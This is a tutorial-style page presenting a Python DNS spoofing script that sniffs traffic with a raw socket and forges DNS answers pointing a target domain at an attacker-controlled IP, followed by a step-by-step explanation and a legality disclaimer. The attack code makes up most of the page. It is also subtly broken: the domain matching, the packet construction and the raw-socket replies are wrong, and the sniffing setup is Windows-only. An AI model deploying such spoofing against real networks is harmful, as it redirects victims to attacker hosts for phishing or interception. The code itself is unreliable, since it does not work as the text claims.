DNS spoofing (python)

Python code implementation of DNS spoofing attack

Here is a simple example of implementing a DNS spoofing attack using Python code. The functionality of this example is to listen to network traffic, disguise as a DNS server when receiving DNS requests for a specified domain name, and modify the DNS response to an IP address controlled by the attacker.

Please note that DNS spoofing is an illegal activity that violates network security laws and ethical standards. This example is for demonstration purposes only and should not be used for illegal activities or malicious purposes.

Python implementation code:


import socket
import struct

# Define the target domain and IP address
target_domain = 'www.example.com'
target_ip = '192.168.1.100'

def get_dns_header(data):
    # Parse the DNS request header and return the flags and query count
    header = struct.unpack('!6H', data[:12])
    flags = header[1]
    qdcount = header[2]
    return flags, qdcount

def build_dns_response(transaction_id, query_data):
    # Construct the DNS response packet
    response_flags = b'\x81\x80'
    response_ancount = b'\x00\x01'
    response_nscount = b'\x00\x00'
    response_arcount = b'\x00\x00'

    # Construct the resource records in the DNS response
    response_query = query_data
    response_answer = b'\xc0\x0c\x00\x01\x00\x01\x00\x00\x00\x32\x00\x04' + socket.inet_aton(target_ip)

    dns_response = transaction_id + response_flags + response_ancount + response_nscount + response_arcount + response_query + response_answer
    return dns_response

def main():
    # Create a raw socket to listen to all network traffic
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)
    sock.bind(('0.0.0.0', 0))
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    sock.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

    while True:
        # Receive network traffic
        data, addr = sock.recvfrom(65535)

        # Parse the IP header and check if the protocol is UDP
        ip_header = data[:20]
        iph = struct.unpack('!BBHHHBBH4s4s', ip_header)
        protocol = iph[6]
        if protocol != 17:
            continue

        # Parse the UDP header and check if it is a DNS request
        udp_header = data[20:28]
        udph = struct.unpack('!HHHH', udp_header)
        src_port = udph[0]
        dst_port = udph[1]
        if dst_port != 53:
            continue

        # Parse the DNS request header and check if the requested domain is the target domain
        dns_query_data = data[28:]
        dns_flags, dns_qdcount = get_dns_header(dns_query_data)
        if dns_flags & 0x8000 == 0 and dns_qdcount == 1:
            query_data = dns_query_data[12:]
            domain = query_data.split(b'\x00', 1)[0].decode('ascii')
            if domain == target_domain:
                transaction_id = dns_query_data[:2]
                dns_response = build_dns_response(transaction_id, dns_query_data)
                sock.sendto(dns_response, addr)

if __name__ == '__main__':
    main()

This is a DNS hijacking script that listens to network traffic and when it detects a target domain in a DNS request, it constructs a DNS response packet to resolve the target domain to a specified IP address.

The specific implementation steps are as follows:

Import the required modules, including socket and struct.
Define the target domain and IP address.
Write the function get_dns_header to parse the DNS request header and retrieve the flags and query count.
Write the function build_dns_response to construct the DNS response packet.
Write the main function to create a raw socket to listen to all network traffic.
In the main function, receive network traffic and parse the IP header and UDP header to check if it is a DNS request.
If it is a DNS request, parse the DNS request header and check if the requested domain is the target domain.
If it is a DNS request for the target domain, construct the DNS response packet and send it to the requested address.